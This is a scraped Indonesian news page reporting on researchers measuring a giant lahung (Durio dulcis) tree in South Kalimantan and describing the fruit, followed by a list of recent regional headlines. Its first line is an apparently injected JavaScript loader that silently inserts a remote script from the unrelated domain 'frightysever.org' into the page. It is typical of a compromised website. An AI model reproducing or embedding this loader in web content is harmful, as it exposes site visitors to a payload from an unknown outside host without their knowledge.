(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Balitbanghut Teliti Pohon Lahung Raksasa untuk Pelestarian


BANJARBARU, Tim Balai Penelitian dan Pengembangan Kementerian Lingkungan Hidup dan Kehutanan (Balitbanghut) Banjarbaru, melakukan penelitian terhadap keberadaan pohon lahung raksasa (durio dulcis) di Desa Panggung, Kecamatan Paringin Selatan, Kabupaten Balangan.

Peneliti utama dari instansi tersebut, Syaifudin mengatakan timnya terjun ke lokasi tersebut untuk melakukan penelitian keberadaan pohon yang mulai langka tersebut. Tujuannya tak lain untuk pelestarian. Eksplorasi oleh tiga peneliti tersebut berlangsung minggu lalu bersama anggota Forum Komunitas Hijau (FKH) setempat. Demikian dilansir dari kantor berita Antara Kalsel.

Tim ini dibantu berbagai peralatan melakukan melakukan pengukuran terhadap sebuah pohon lahung besar yang ada di desa tersebut, disamping mencari anakannya untuk dikembangbiakan di areal instansi mereka di Banjarbaru.

Berdasarkan penelitian pohon lahung besar yang berada di hutan yang terdapat perkebunan karet itu berdiameter 112 cm, lebar tajuk 26,92 meter, tinggi batang bebas cabang 16 meter, tinggi total 37 meter, dan tinggi banir 5 meter.

Sementara itu di tempat terpisah pemerhati buah endemik Kalimantan, Hanif Wicaksono menjelaskan buah lahung sejenis durian, tetapi kulit warna merah kehitaman dengan duri lancip dan panjang. Bagi beberapa orang yang baru merasakan durian lahung akan sangat wajar bila merasa aneh. Hal ini seperti melihat orang barat yang baru mencoba durian.

Ada kesan aneh yg susah dijelaskan. bahkan beberapa orang pun mendeskripsikan lahung mempunyai aroma seperti aerosol, alkohol, mint, bahkan pembersih lantai. Memang tidak memungkiri lahung punya bau unik yg khas, tetapi tidak semua lahung beraroma keras.

Pada dasarnya buah lahung itu manis sesuai namanya “dulcis” yang berarti manis. lahung seperti durian punya banyak sekali varian. beberapa varian lahung mempunyai aroma yg lebih lembut dan rasa yang manis krimi tanpa bau yang mencolok seperti lahung.

Meski rata-rata lahung berwarna putih banyak juga lahung yang mempunyai daging buah berwarna kuning hingga oranye. Dari berdaging tipis hingga tebal. Durio dulcis di Kalsel termasuk spesies yang diketahui paling sering mengalami silang alami (hybrid) selain pampakin (D kutejensis). Hal ini kemungkinan karena masa pembungaan lahung yg lebih awal daripada spesies durio lain. (cel/ant)

Reporter: Cel/ant
Editor: Chell

Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

4 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

5 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

7 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

10 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

13 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

13 jam ago

This website uses cookies.